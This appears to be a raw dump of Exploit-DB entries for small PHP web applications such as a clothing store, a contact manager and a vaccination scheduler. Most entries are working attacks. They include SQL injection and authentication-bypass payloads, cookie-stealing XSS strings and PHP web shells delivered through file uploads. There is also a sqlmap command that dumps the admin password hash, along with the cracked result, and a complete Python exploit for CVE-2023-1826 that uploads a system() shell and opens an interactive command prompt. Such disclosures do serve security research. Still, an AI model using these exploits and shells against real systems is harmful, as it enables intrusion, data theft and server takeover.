deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13967
Description: Online Classified System Script - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-22
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Online Classified System Script SQLi and XSS Vulnerable
Vendor url:http://www.2daybiz.com/
Version:1
Price:90$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

2daybiz online classified system allows you to start a fully automated classified ads site that includes essential features present in major classifieds sites. Our powerful script written in PHP allows your users to post new ads, for which you can charge a predefined amount. Billing is handled automatically and seamlessly through many of the popular payment gateways. Our classified ads software is fast, simple and fully customized through our built-in editor. 

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Vulnerability:

*SQLi Vulnerable

DEMO URL:

http://server/classified/categorysearch.php?cid=[sqli]

*XSS Vulnerable

Parameter:'"--><script>alert(0x000872)</script>

DEMO URL:

http://server/classified/categorysearch.php?cid=[xss]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #48429
Description: Online Clothing Store 1.0 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-06
Author: Sushant Kamble

Exploit:
# Exploit Title: Online Clothing Store 1.0 - 'username' SQL Injection
# Date: 2020-05-05
# Exploit Author: Sushant Kamble
# Vendor Homepage: https://www.sourcecodester.com/php/14185/online-clothing-store.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-clothing-store_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

---------------------------------------------------------------------------------

#parameter Vulnerable: username
# Injected Request
POST /online%20Clothing%20Store/login.php HTTP/1.1 
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost
Connection: close
Referer: http://localhost/online%20Clothing%20Store/
Cookie: PHPSESSID=shu3nbnsdkb4nb73iips4jkrn7
Upgrade-Insecure-Requests: 1

txtUserName=admin'or''='&txt[CREDENTIAL_REDACTED]=Admin&button=Login
Exploit-DB #48438
Description: Online Clothing Store 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-05-07
Author: Sushant Kamble

Exploit:
# Exploit Title: Online Clothing Store 1.0 - Arbitrary File Upload
# Date: 2020-05-05
# Exploit Author: Sushant Kamble and Saurav Shukla
# Vendor Homepage: https://www.sourcecodester.com/php/14185/online-clothing-store.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-clothing-store_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


#Vulnerable Page: Products.php

#Exploit
	Open Products.php and select any product
	Fill details
	Create php shell code with below script
		<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
	Click on upload Image
	Select php file
	Click Submet
	Access below URL:
		http://localhost/online%20Clothing%20Store/Products/shell.php?e=dir
	add system commands after e to execute it.
Exploit-DB #48426
Description: Online Clothing Store 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-06
Author: Sushant Kamble

Exploit:
#  Exploit Title: Online Clothing Store 1.0 - Persistent Cross-Site Scripting
#  Date: 2020-05-05
#  Exploit Author: Sushant Kamble
# Vendor Homepage: https://www.sourcecodester.com/php/14185/online-clothing-store.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-clothing-store_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

#Vulnerable Page: Offers.php
#Parameter Vulnerable: Offer Detail

ONLINE CLOTHING STORE 1.0 is vulnerable to Stored XSS

Admin user can add malicious script to offer page.
when a normal user visit a page. A script gets executed.

# Exploit:
	Open offer.php
	Add below script in Offer Detail
		<script>alert(document.cookie)</script>
	Save
Exploit-DB #11774
Description: Online Community CMS by I-net - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-16
Author: Th3 RDX

Exploit:
# Exploit Title: Online Community CMS by I-net SQL Injection Vulnerability
# Date: 16-03-2010
# Author: Th3 RDX
# Software Link: www.i-netsolution.com/online-community-php-scripts.html
# Version:
# Tested on: Projects Made By Them
# category: webapp
# Code :
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Team I.C.W | www.IndiShell.in | Andhra Hackers | www.exploit-db.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to all Indian Cyber Warriors ,IndiShell, Andhra Hackers
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

Th3 RDX

----- [ E - mail ] -----

th3rdx@gmail.com


%\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Online Community CMS by I-net SQL Injection Vulnerability

----- [ Vendor ] -----

http://www.i-netsolution.com/online-community-php-scripts.html

%\\
##############################################################################

##############################################################################
%//

----- [ Exploit (s) ] -----

Put [CODE] = SQL Injection Code
{e.g = Union Select 1 ,2, UNHEX(HEX([visible])) ,4,5,6 (tables & column) }

[SQLi] http://server/onlinecommunity/view-blog-full.php?blid=69[CODE]

[SQLi] http://server/onlinecommunitys/mem-play-song-cnt.php?plid=23[CODE]

[SQLi] http://server/onlinecommunity/mem_videos-play-cnt.php?vdoid=41[CODE]

[SQLi] http://server/onlinecommunity/profile.php?mid=72[CODE]


%\\
##############################################################################

##############################################################################


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Thanks To All: I.C.W + W.O.I + H.M.G + C.I.A + AH Members
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 16 March 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit-DB #51358
Description: Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-04-10
Author: Matisse Beckandt

Exploit:
#!/usr/bin/env python3

# Exploit Title: Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE)
# Date: 09/04/2023
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.sourcecodester.com/php/16397/online-computer-and-laptop-store-using-php-and-mysql-source-code-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ocls.zip
# Version: 1.0
# Tested on: Debian 11.6
# CVE : CVE-2023-1826

# Exploit Description : The application does not sanitize the 'img' parameter when sending data to '/classes/SystemSettings.php?f=update_settings'. An attacker can exploit this issue by uploading a PHP file and accessing it, leading to Remote Code Execution.
import requests
from argparse import ArgumentParser
from uuid import uuid4
from datetime import datetime, timezone

def interactiveShell(fileUrl: str):
    print("Entering pseudo-shell. Type 'exit' to quit")
    while True:
        command = input("\n$ ")
        if command == "exit":
            break

        response = requests.get(f"{fileUrl}?cmd={command}")
        print(response.text)

def uploadFile(url: str, filename: str, content):
    endpoint = f"{url}/classes/SystemSettings.php?f=update_settings"
    file = {"img": (filename, content)}

    response = requests.post(endpoint, files=file)
    return response

def getUploadedFileUrl(url: str, filename: str):
    timeNow = datetime.now(timezone.utc).replace(second=0) # UTC time, rounded to minutes
    epoch = int(timeNow.timestamp()) # Time in milliseconds
    possibleFilename = f"{epoch}_{filename}"
    fileUrl = f"{url}/uploads/{possibleFilename}"
    response = requests.get(fileUrl)
    if response.status_code == 200:
        return fileUrl

def exploit(url: str):
    filename = str(uuid4()) + ".php"
    content = "<?php system($_GET['cmd'])?>"
    response = uploadFile(url, filename, content)

    if response.status_code != 200:
        print(f"[File Upload] Got status code {response.status_code}. Expected 200.")

    uploadedUrl = getUploadedFileUrl(url, filename)
    if uploadedUrl == None:
        print("Error. Could not find the uploaded file.")
        exit(1)
    print(f"Uploaded file is at {uploadedUrl}")

    try:
        interactiveShell(uploadedUrl)
    except KeyboardInterrupt:
        pass
    print("\nQuitting.")

def getWebsiteURL(url: str):
    if not url.startswith("http"):
        url = "http://" + url
    if url.endswith("/"):
        url = url[:-1]
    return url

def main():
    parser = ArgumentParser(description="Exploit for CVE-2023-1826")
    parser.add_argument("url", type=str, help="The url to the application's installation. Example: http://mysite:8080/php-ocls/")
    args = parser.parse_args()

    url = getWebsiteURL(args.url)
    exploit(url)

if __name__ == "__main__":
    main()
Exploit-DB #32937
Description: Online Contact Manager 3.0 - 'delete.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-20
Author: Vrs-hCk

Exploit:
source: https://www.securityfocus.com/bid/34626/info
    
Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/delete.php?id=+<script>alert(123)</script>
Exploit-DB #32936
Description: Online Contact Manager 3.0 - 'edit.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-20
Author: Vrs-hCk

Exploit:
source: https://www.securityfocus.com/bid/34626/info
   
Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/edit.php?id=+<script>alert(123)</script>
Exploit-DB #32935
Description: Online Contact Manager 3.0 - 'email.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-20
Author: Vrs-hCk

Exploit:
source: https://www.securityfocus.com/bid/34626/info
  
Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/email.php?id=+<script>alert(123)</script>
Exploit-DB #32933
Description: Online Contact Manager 3.0 - 'index.php?showGroup' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-20
Author: Vrs-hCk

Exploit:
source: https://www.securityfocus.com/bid/34626/info

Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?showGroup=+<script>alert(123)</script>
Exploit-DB #32934
Description: Online Contact Manager 3.0 - 'view.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-20
Author: Vrs-hCk

Exploit:
source: https://www.securityfocus.com/bid/34626/info
 
Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Online Contact Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/view.php?id=+<script>alert(123)</script>
Exploit-DB #48559
Description: Online Course Registration 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-06-05
Author: BKpatron

Exploit:
# Exploit Title: Online Course Registration 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-06-05
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : admin/index.php
# Parameter & Payload: '=''or'
# Proof of Concept:

http://localhost/Online%20Course%20Registration/admin/index.php

POST /Online%20Course%20Registration/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Referer: http://localhost/Online%20Course%20Registration/admin/index.php
Cookie: PHPSESSID=il6a0lzq8ndo1bb4672rd7cr3m
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=%27%3D%27%27or%27&[CREDENTIAL_REDACTED]=: undefined

HTTP/1.1 302 Found
Date: Thu, 04 Jun 2020 20:04:27 GMT
Server: Apache/2.4.39 (Win64) PHP/7.3.5
X-Powered-By: PHP/7.3.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: http://localhost/Online Course Registration/admin/change-password.php
Exploit-DB #50109
Description: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection
Type: webapps
Platform: php
Date: 2021-07-07
Author: faisalfs10x

Exploit:
# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection
# Date: 2021-07-07
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP


################
# Description  #
################

The admin panel login can be assessed at http://{ip}/scheduler/admin/login.php. The username parameter is vulnerable to time-based SQL injection.
Upon successful dumping the admin password hash, we can decrypt and obtain the plain-text password. Hence, we could authenticate as Administrator.


###########
# PoC     #
###########

Run sqlmap to dump username and password:

$ sqlmap -u "http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&[CREDENTIAL_REDACTED]" --cookie="PHPSESSID=n3to3djqetf42c2e7l257kspi5" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler -T users -C username,password --dump


###########
# Output  #
###########

Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 7551 FROM (SELECT(SLEEP(5)))QOUn) AND 'MOUZ'='MOUZ&[CREDENTIAL_REDACTED]
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
current database: 'scheduler'

Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+


The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123
Exploit-DB #50662
Description: Online Diagnostic Lab Management System 1.0 - SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-01-13
Author: Himash

Exploit:
#Exploit Title: Online Diagnostic Lab Management System 1.0 - SQL Injection (Unauthenticated)
#Date: 11/01/2022
#Exploit Author: Himash
#Vendor Homepage: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/odlms.zip
#Version: 1.0
#Tested on: Kali Linux 2021.4, PHP 7.2.34

#SQL Injection
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.
Online Diagnostic Lab Management System 1.0 is vulnerable to the SQL Injection in 'id' parameter of the 'appointment list' page.

#Steps to reproduce 

Following URL is vulnerable to SQL Injection in the 'id' field.

http://localhost/odlms/?page=appointments/view_appointment&id=1%27%20AND%20(SELECT%208053%20FROM%20(SELECT(SLEEP(7)))dJOC)%20AND%20%27test%27=%27test

Server accepts the payload and the response get delayed by 7 seconds.

#Impact

An attcker can compromise the database of the application by manual method or by automated tools such as SQLmap.
Exploit-DB #50661
Description: Online Diagnostic Lab Management System 1.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-13
Author: Himash

Exploit:
#Exploit Title: Online Diagnostic Lab Management System 1.0 - Stored Cross Site Scripting (XSS)
#Date: 11/01/2022
#Exploit Author: Himash
#Vendor Homepage: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/odlms.zip
#Version: 1.0
#Tested on: Kali Linux

Online Diagnostic Lab Management System 1.0 is vulnerable to stored cross-site-scripting.
Stored cross-site scripting (persistent XSS) arises when an application receives its data from
an untrusted source and includes that data within its responses in an unsafe way.

#Steps to Reproduce

1. Login to the admin account with username 'admin' and password 'admin123'

2. Navigate to the 'User List' option 

3. Create new user by adding following payload in
   First Name and Last Name fields.
   <image src/onerror=prompt(document.cookie)>

4. XSS payload will be triggered in the page http://localhost/odlms/admin/?page=user/list